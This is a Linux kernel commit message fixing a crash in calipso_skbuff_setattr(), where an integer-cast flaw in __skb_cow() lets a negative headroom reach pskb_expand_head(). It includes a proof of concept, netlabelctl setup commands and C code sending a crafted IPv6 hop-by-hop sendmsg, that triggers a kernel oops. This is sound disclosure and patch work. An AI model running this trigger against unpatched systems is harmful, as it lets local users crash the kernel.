ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
Using `netlabelctl` tool:

netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;

// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;

// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &msg, 0);

Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.")
Suggested-by: Paul Moore <paul@paul-moore.com>
Signed-off-by: Will Rosenberg <whrosenb@asu.edu>
Acked-by: Paul Moore <paul@paul-moore.com>
Link: https://patch.msgid.link/20251219173637.797418-1-whrosenb@asu.edu
Signed-off-by: Paolo Abeni <pabeni@redhat.com>